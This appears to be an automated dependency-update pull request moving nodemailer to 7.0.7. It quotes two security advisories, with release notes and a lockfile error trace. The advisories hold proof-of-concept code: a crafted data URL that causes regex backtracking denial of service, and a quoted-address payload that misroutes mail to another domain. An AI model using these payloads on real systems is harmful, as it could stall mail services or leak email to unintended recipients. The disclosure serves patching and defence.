stub
stub copied to clipboard
chore(deps): update dependency nodemailer to v7 [security]
This PR contains the following updates:
| Package | Change | Age | Confidence |
|---|---|---|---|
| nodemailer (source) | 6.9.13 -> 7.0.7 |
GitHub Vulnerability Alerts
GHSA-9h6g-pr28-7cqp
Summary
A ReDoS vulnerability occurs when nodemailer tries to parse img files with the parameter attachDataUrls set, causing the stuck of event loop.
Another flaw was found when nodemailer tries to parse an attachments with a embedded file, causing the stuck of event loop.
Details
Regex: /^data:((?:[^;];)(?:[^,])),(.)$/
Path: compile -> getAttachments -> _processDataUrl
Regex: /(<img\b[^>]* src\s*=[\s"']*)(data:([^;]+);[^"'>\s]+)/
Path: _convertDataImages
PoC
https://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6 https://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698
async function exploit() {
const MailComposer = require(\"nodemailer/lib/mail-composer\");
const MailComposerObject = new MailComposer();
// Create a malicious data URL that will cause excessive backtracking
// This data URL is crafted to have a long sequence of characters that will cause the regex to backtrack
const maliciousDataUrl = 'data:image/png;base64,' + 'A;B;C;D;E;F;G;H;I;J;K;L;M;N;O;P;Q;R;S;T;U;V;W;X;Y;Z;'.repeat(1000) + '==';
// Call the vulnerable method with the crafted input
const result = await MailComposerObject._processDataUrl({ path: maliciousDataUrl });
}
await exploit();
Impact
ReDoS causes the event loop to stuck a specially crafted evil email can cause this problem.
GHSA-mm7p-fcc7-pg87
The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.
Payload: "[email protected] x"@​internal.domain
Using the following code to send mail
const nodemailer = require("nodemailer");
let transporter = nodemailer.createTransport({
service: "gmail",
auth: {
user: "",
pass: "",
},
});
let mailOptions = {
from: '"Test Sender" <[email protected]>',
to: "\"[email protected] x\"@​internal.domain",
subject: "Hello from Nodemailer",
text: "This is a test email sent using Gmail SMTP and Nodemailer!",
};
transporter.sendMail(mailOptions, (error, info) => {
if (error) {
return console.log("Error: ", error);
}
console.log("Message sent: %s", info.messageId);
});
(async () => {
const parser = await import("@​sparser/email-address-parser");
const { EmailAddress, ParsingOptions } = parser.default;
const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);
if (!parsed) {
console.error("Invalid email address:", mailOptions.to);
return;
}
console.log("Parsed email:", {
address: `${parsed.localPart}@​${parsed.domain}`,
local: parsed.localPart,
domain: parsed.domain,
});
})();
Running the script and seeing how this mail is parsed according to RFC
Parsed email: {
address: '"[email protected] x"@​internal.domain',
local: '"[email protected] x"',
domain: 'internal.domain'
}
But the email is sent to [email protected]
Impact:
-
Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.
-
Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.
-
Potential compliance issue: Violates RFC 5321/5322 parsing rules.
-
Domain based access control bypass in downstream applications using your library to send mails
Recommendations
-
Fix parser to correctly treat quoted local-parts per RFC 5321/5322.
-
Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.
Release Notes
nodemailer/nodemailer (nodemailer)
v7.0.7
Bug Fixes
- addressparser: Fixed addressparser handling of quoted nested email addresses (1150d99)
- dns: add memory leak prevention for DNS cache (0240d67)
- linter: Updated eslint and created prettier formatting task (df13b74)
- refresh expired DNS cache on error (#1759) (ea0fc5a)
- resolve linter errors in DNS cache tests (3b8982c)
v7.0.6
Bug Fixes
- encoder: avoid silent data loss by properly flushing trailing base64 (#1747) (01ae76f)
- handle multiple XOAUTH2 token requests correctly (#1754) (dbe0028)
- ReDoS vulnerability in parseDataURI and _processDataUrl (#1755) (90b3e24)
v7.0.5
Bug Fixes
- updated well known delivery service list (fa2724b)
v7.0.4
Bug Fixes
- pools: Emit 'clear' once transporter is idle and all connections are closed (839e286)
- smtp-connection: jsdoc public annotation for socket (#1741) (c45c84f)
- well-known-services: Added AliyunQiye (bb9e6da)
v7.0.3
Bug Fixes
- attachments: Set the default transfer encoding for message/rfc822 attachments as '7bit' (007d5f3)
v7.0.2
Bug Fixes
- ses: Fixed structured from header (faa9a5e)
v7.0.1
Bug Fixes
- ses: Use formatted FromEmailAddress for SES emails (821cd09)
v7.0.0
⚠ BREAKING CHANGES
- SESv2 SDK support, removed older SES SDK v2 and v3 , removed SES rate limiting and idling features
Features
- SESv2 SDK support, removed older SES SDK v2 and v3 , removed SES rate limiting and idling features (15db667)
v6.10.1
Bug Fixes
- close correct socket (a18062c)
v6.10.0
Features
Bug Fixes
- proxy: Set error and timeout errors for proxied sockets (aa0c99c)
v6.9.16
Bug Fixes
- addressparser: Correctly detect if user local part is attached to domain part (f2096c5)
v6.9.15
Bug Fixes
v6.9.14
Bug Fixes
Configuration
📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
- [ ] If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
⚠️ Artifact update problem
Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.
♻ Renovate will retry this branch, including artifacts, only when one of the following happens:
- any of the package files in this branch needs updating, or
- the branch becomes conflicted, or
- you click the rebase/retry checkbox if found above, or
- you rename this PR's title to start with "rebase!" to trigger it manually
The artifact failure details are included below:
File name: yarn.lock
/opt/containerbase/tools/corepack/0.34.5/16.20.2/node_modules/corepack/dist/lib/corepack.cjs:22572
const isURL = URL.canParse(range);
^
TypeError: URL.canParse is not a function
at parseSpec (/opt/containerbase/tools/corepack/0.34.5/16.20.2/node_modules/corepack/dist/lib/corepack.cjs:22572:21)
at Object.getSpec (/opt/containerbase/tools/corepack/0.34.5/16.20.2/node_modules/corepack/dist/lib/corepack.cjs:22721:55)
at Engine.findProjectSpec (/opt/containerbase/tools/corepack/0.34.5/16.20.2/node_modules/corepack/dist/lib/corepack.cjs:22939:31)
at async Engine.executePackageManagerRequest (/opt/containerbase/tools/corepack/0.34.5/16.20.2/node_modules/corepack/dist/lib/corepack.cjs:22978:24)
at async Object.runMain (/opt/containerbase/tools/corepack/0.34.5/16.20.2/node_modules/corepack/dist/lib/corepack.cjs:23684:7)